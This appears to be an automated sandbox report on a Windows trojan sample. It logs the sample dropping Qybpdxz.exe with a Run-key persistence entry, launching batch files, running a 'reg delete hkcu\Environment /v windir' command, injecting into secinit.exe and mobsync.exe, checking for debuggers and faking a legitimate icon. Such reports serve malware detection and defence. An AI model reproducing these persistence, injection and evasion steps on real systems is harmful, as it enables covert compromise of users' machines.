Source: unknown	Process created: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe 'C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe'
Source: unknown	Process created: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe 'C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe'
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Process created: C:\Windows\SysWOW64\mobsync.exe C:\Windows\System32\mobsync.exe
Source: C:\Windows\SysWOW64\mobsync.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1312 -s 484
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Process created: C:\Windows\SysWOW64\secinit.exe C:\Windows\System32\secinit.exe
Source: C:\Windows\SysWOW64\secinit.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4788 -s 236
Source: C:\Users\user\Desktop\fTset285bI.exe	Process created: C:\Windows\SysWOW64\secinit.exe C:\Windows\System32\secinit.exe	Jump to behavior
Source: C:\Users\user\Desktop\fTset285bI.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Trast.bat' '	Jump to behavior
Source: C:\Users\user\Desktop\fTset285bI.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\Public\nest.bat' '	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg delete hkcu\Environment /v windir /f	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Process created: C:\Windows\SysWOW64\mobsync.exe C:\Windows\System32\mobsync.exe	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Process created: C:\Windows\SysWOW64\secinit.exe C:\Windows\System32\secinit.exe	Jump to behavior

Source: C:\Users\user\Desktop\fTset285bI.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\fTset285bI.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\Qybpdxzxxjklicipydzdiinowujxlof[1]

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WER79AC.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@26/22@3/2

Source: C:\Users\user\Desktop\fTset285bI.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\fTset285bI.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\fTset285bI.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6596:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5784:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6920:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6692:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6840
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1312
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4788

Source: C:\Users\user\Desktop\fTset285bI.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Trast.bat' '

Source: C:\Users\user\Desktop\fTset285bI.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\fTset285bI.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:	Binary string: profapi.pdb source: WerFault.exe, 0000001D.00000003.497897039.0000000005137000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdbo1 source: WerFault.exe, 0000000F.00000003.409099360.00000000057F1000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 0000000F.00000003.406022334.0000000003708000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.489730419.0000000004E5F000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.514625482.000000000491E000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 0000000F.00000003.409219260.00000000057F3000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.523896029.0000000004D03000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 0000000F.00000003.409196797.0000000005701000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.497859249.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.523851702.0000000004BA1000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 0000000F.00000003.409219260.00000000057F3000.00000004.00000040.sdmp, WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.523851702.0000000004BA1000.00000004.00000001.sdmp
Source:	Binary string: wgdi32full.pdbk source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 0000000F.00000003.409196797.0000000005701000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.497859249.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.523851702.0000000004BA1000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 0000000F.00000003.409196797.0000000005701000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.497859249.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.523851702.0000000004BA1000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdbk source: WerFault.exe, 0000000F.00000003.409219260.00000000057F3000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 0000000F.00000003.406017453.0000000003702000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.497859249.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.523851702.0000000004BA1000.00000004.00000001.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 0000001D.00000003.497897039.0000000005137000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 0000001D.00000003.497897039.0000000005137000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 0000000F.00000003.409196797.0000000005701000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.497859249.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.523851702.0000000004BA1000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 0000001D.00000003.497897039.0000000005137000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdbk source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 0000000F.00000003.409196797.0000000005701000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.497859249.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.523851702.0000000004BA1000.00000004.00000001.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 0000001D.00000003.497897039.0000000005137000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdbk source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: wuser32.pdbk source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdbk source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 0000000F.00000003.409196797.0000000005701000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.497859249.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.523896029.0000000004D03000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 0000000F.00000003.406276057.000000000370E000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.497859249.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.523851702.0000000004BA1000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 0000001D.00000003.497897039.0000000005137000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdb{ source: WerFault.exe, 0000000F.00000003.409219260.00000000057F3000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.523896029.0000000004D03000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 0000000F.00000003.406276057.000000000370E000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 0000000F.00000003.409196797.0000000005701000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.497859249.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.523896029.0000000004D03000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 0000001D.00000003.497897039.0000000005137000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 0000001D.00000003.497897039.0000000005137000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 0000000F.00000003.406022334.0000000003708000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdb> source: WerFault.exe, 00000022.00000003.523781598.0000000004D01000.00000004.00000040.sdmp
Source:	Binary string: wkscli.pdbk source: WerFault.exe, 0000000F.00000003.409219260.00000000057F3000.00000004.00000040.sdmp
Source:	Binary string: wkscli.pdb source: WerFault.exe, 0000000F.00000003.409219260.00000000057F3000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.523851702.0000000004BA1000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdbk source: WerFault.exe, 00000022.00000003.523896029.0000000004D03000.00000004.00000040.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: mobsync.pdb source: WerFault.exe, 0000001D.00000003.497859249.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: secinit.pdb source: WerFault.exe, 0000000F.00000003.409196797.0000000005701000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.523851702.0000000004BA1000.00000004.00000001.sdmp
Source:	Binary string: cryptbase.pdbk source: WerFault.exe, 00000022.00000003.523896029.0000000004D03000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 0000000F.00000003.406017453.0000000003702000.00000004.00000001.sdmp

Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_5049B86C push eax; ret	5_2_5049B872
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_5049B80B push eax; ret	5_2_5049B872
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_5049B802 push eax; ret	5_2_5049B808
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_5049510E push ecx; iretd	5_2_50495114
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_5049513F push ebp; retf	5_2_50495144
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_50496230 push eax; retf	5_2_50496237
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_5048C37D pushad ; retf	5_2_5048C34C
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_5048C332 pushad ; retf	5_2_5048C34C
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_50495D7E push edx; retf	5_2_50495D81
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_50494DD5 push edx; iretd	5_2_50494DD7
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_50494E85 push 93A712F1h; ret	5_2_50494E8E
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_5048E723 push ebp; retf	5_2_5048E72D
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_5049B7B5 push eax; ret	5_2_5049B808
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_5049B86C push eax; ret	27_2_5049B872
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_5049B80B push eax; ret	27_2_5049B872
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_5049B802 push eax; ret	27_2_5049B808
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_5049510E push ecx; iretd	27_2_50495114
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_5049513F push ebp; retf	27_2_50495144
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_50496230 push eax; retf	27_2_50496237
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_5048C37D pushad ; retf	27_2_5048C34C
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_5048C332 pushad ; retf	27_2_5048C34C
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_50495D7E push edx; retf	27_2_50495D81
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_50494DD5 push edx; iretd	27_2_50494DD7
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_50494E85 push 93A712F1h; ret	27_2_50494E8E
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_5048E723 push ebp; retf	27_2_5048E72D
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_5049B7B5 push eax; ret	27_2_5049B808
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 32_2_5049B86C push eax; ret	32_2_5049B872
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 32_2_5049B80B push eax; ret	32_2_5049B872
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 32_2_5049B802 push eax; ret	32_2_5049B808
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 32_2_5049510E push ecx; iretd	32_2_50495114
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 32_2_5049513F push ebp; retf	32_2_50495144

Source: fTset285bI.exe	Static PE information: section name: .....
Source: fTset285bI.exe	Static PE information: section name: ......
Source: fTset285bI.exe	Static PE information: section name: .....
Source: fTset285bI.exe	Static PE information: section name: ....
Source: fTset285bI.exe	Static PE information: section name: ......
Source: fTset285bI.exe	Static PE information: section name: ....
Source: fTset285bI.exe	Static PE information: section name: ......
Source: fTset285bI.exe	Static PE information: section name: ......
Source: fTset285bI.exe	Static PE information: section name: .....
Source: Qybpdxz.exe.0.dr	Static PE information: section name: .....
Source: Qybpdxz.exe.0.dr	Static PE information: section name: ......
Source: Qybpdxz.exe.0.dr	Static PE information: section name: .....
Source: Qybpdxz.exe.0.dr	Static PE information: section name: ....
Source: Qybpdxz.exe.0.dr	Static PE information: section name: ......
Source: Qybpdxz.exe.0.dr	Static PE information: section name: ....
Source: Qybpdxz.exe.0.dr	Static PE information: section name: ......
Source: Qybpdxz.exe.0.dr	Static PE information: section name: ......
Source: Qybpdxz.exe.0.dr	Static PE information: section name: .....

Source: initial sample

Static PE information: section where entry point is pointing to: ......

Source: C:\Users\user\Desktop\fTset285bI.exe

File created: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe

Jump to dropped file

Source: C:\Users\user\Desktop\fTset285bI.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Qybpdxz			Jump to behavior
Source: C:\Users\user\Desktop\fTset285bI.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Qybpdxz			Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Show sources

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: icon4828.png

Source: C:\Windows\SysWOW64\WerFault.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\fTset285bI.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\secinit.exe

Code function: 5_2_504888C0 rdtsc

5_2_504888C0

Source: WerFault.exe, 0000000F.00000002.431569582.00000000036BF000.00000004.00000020.sdmp, Qybpdxz.exe, 00000016.00000003.440961646.000000000072B000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.532842830.0000000004E50000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000002.558910221.0000000004910000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: Qybpdxz.exe, 00000016.00000003.440961646.000000000072B000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW,

Source: C:\Windows\SysWOW64\secinit.exe

Code function: 5_2_504888C0 rdtsc

5_2_504888C0

Source: C:\Windows\SysWOW64\secinit.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\mobsync.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\SysWOW64\secinit.exe

Code function: 5_2_5048A000 LdrInitializeThunk,

5_2_5048A000

HIPS / PFW / Operating System Protection Evasion:

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\fTset285bI.exe	Memory written: C:\Windows\SysWOW64\secinit.exe base: 50480000	Jump to behavior
Source: C:\Users\user\Desktop\fTset285bI.exe	Memory written: C:\Windows\SysWOW64\secinit.exe base: 2E20000	Jump to behavior
Source: C:\Users\user\Desktop\fTset285bI.exe	Memory written: C:\Windows\SysWOW64\secinit.exe base: 2E30000	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 50480000	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 660000	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Memory written: C:\Windows\SysWOW64\mobsync.exe base: 670000	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Memory written: C:\Windows\SysWOW64\secinit.exe base: 50480000	Jump to behavior
Source: C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe	Memory written: C:\Windows\SysWOW64\secinit.exe base: 2F30000	Jump to behavior
